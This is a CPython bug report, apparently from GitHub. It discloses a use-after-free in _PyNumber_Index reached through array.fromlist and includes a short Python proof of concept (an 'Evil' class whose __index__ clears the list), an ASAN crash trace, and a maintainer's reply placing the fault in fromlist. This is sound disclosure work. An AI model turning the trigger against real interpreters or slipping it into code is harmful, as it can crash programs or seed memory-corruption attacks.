CPython UaF during index callbacks

[yo-yo-yo-jbo]

Bug report

Bug description:

The _PyNumber_Index, PyFloat_AsDouble and PyNumber_Long functions use a borrowed reference for error formatting after calling Python slots (index/float), but the slot's frame cleanup can free the object before the error is formatted.

A use-after-free vulnerability exists in CPython's type conversion functions (_PyNumber_Index, PyFloat_AsDouble and PyNumber_Long) where a borrowed reference is used for error message formatting after a Python callback that can free the referenced object.
For example, the vulnerable code pattern could be observed in _PyNumber_Index implementation (Objects/abstract.c):

  PyObject *
  _PyNumber_Index(PyObject *item)    // item is a BORROWED reference
  {
      if (item == NULL) {
          return null_error();
      }

      if (PyLong_Check(item)) {
          return Py_NewRef(item);
      }
      if (!_PyIndex_Check(item)) {
          PyErr_Format(PyExc_TypeError,
                       "'%.200s' object cannot be interpreted "
                       "as an integer", Py_TYPE(item)->tp_name);
          return NULL;
      }

      // === PYTHON CODE EXECUTES HERE ===
      PyObject *result = Py_TYPE(item)->tp_as_number->nb_index(item);
      // === item MAY NOW BE FREED ===

      if (!result || PyLong_CheckExact(result)) {
          return result;
      }

      if (!PyLong_Check(result)) {
          PyErr_Format(PyExc_TypeError,
                       "%T.__index__() must return an int, not %T",
                       item, result);  // <== UAF: item may be freed
          Py_DECREF(result);
          return NULL;
      }
      // ... similar pattern continues
  }

Similar patterns can be found in the PyFloat_AsDouble and PyNumber_Long functions.

The Python array.fromlist() method provides an ideal attack vector because it:

Iterates over a list using PyList_GET_ITEM() (returns borrowed reference)
Passes the borrowed reference directly to type-specific setitem functions
These functions call _PyNumber_Index() or PyFloat_AsDouble() for conversion.

Running with a python interpreter compiled with ASAN (./configure --with-address-sanitizer):

import array

class Evil:
    def __init__(self, lst):
        self.lst = lst

    def __index__(self):
        self.lst.clear()
        return "not an int"

lst = []
e = Evil(lst)
lst.append(e)
del e

arr = array.array('I')
arr.fromlist(lst)

You'll get the following:

==73525==ERROR: AddressSanitizer: heap-use-after-free on address 0x6130000300b8 at pc 0x0001013458a4 bp 0x00016ee396f0 sp 0x00016ee396e8
READ of size 8 at 0x6130000300b8 thread T0
    #0 0x0001013458a0 in unicode_from_format unicodeobject.c:3075
    #1 0x0001013436a8 in PyUnicode_FromFormatV unicodeobject.c:3109
    #2 0x00010154d5c8 in PyErr_Format errors.c:1243
    #3 0x0001010fe4e8 in _PyNumber_Index abstract.c:1433
    #4 0x000109338334 in II_setitem arraymodule.c:411
    #5 0x0001093427d4 in array_array_fromlist arraymodule.c.h:495
    #6 0x00010114aeb0 in _PyObject_VectorcallTstate pycore_call.h:136
    #7 0x0001014828ac in _Py_VectorCallInstrumentation_StackRefSteal ceval.c:1094
    #8 0x0001014b4718 in _PyEval_EvalFrameDefault generated_cases.c.h:1785
    #9 0x00010148180c in _PyEval_Vector ceval.c:2516
    #10 0x00010148105c in PyEval_EvalCode ceval.c:1005
    #11 0x000101646118 in run_mod pythonrun.c:1469
    #12 0x00010163e6a0 in _PyRun_SimpleFileObject pythonrun.c:518
    #13 0x00010163da30 in _PyRun_AnyFileObject pythonrun.c:81
    #14 0x0001016ac948 in pymain_run_file main.c:429
    #15 0x0001016aabcc in Py_RunMain main.c:772
    #16 0x0001016ab9fc in pymain_main main.c:802
    #17 0x0001016abba8 in Py_BytesMain main.c:826
    #18 0x00019e4edd50  (<unknown module>)

CPython versions tested on:

3.15

Operating systems tested on:

macOS

Linked PRs

• gh-144128: Fix crash in array.fromlist with reentrant __index__ #144138

[serhiy-storchaka]

There is no vulnerability in _PyNumber_Index(), there is a vulnerability in array.fromlist(). It is usually expected that arguments cannot disappear during calling a function, the caller is responsible for this.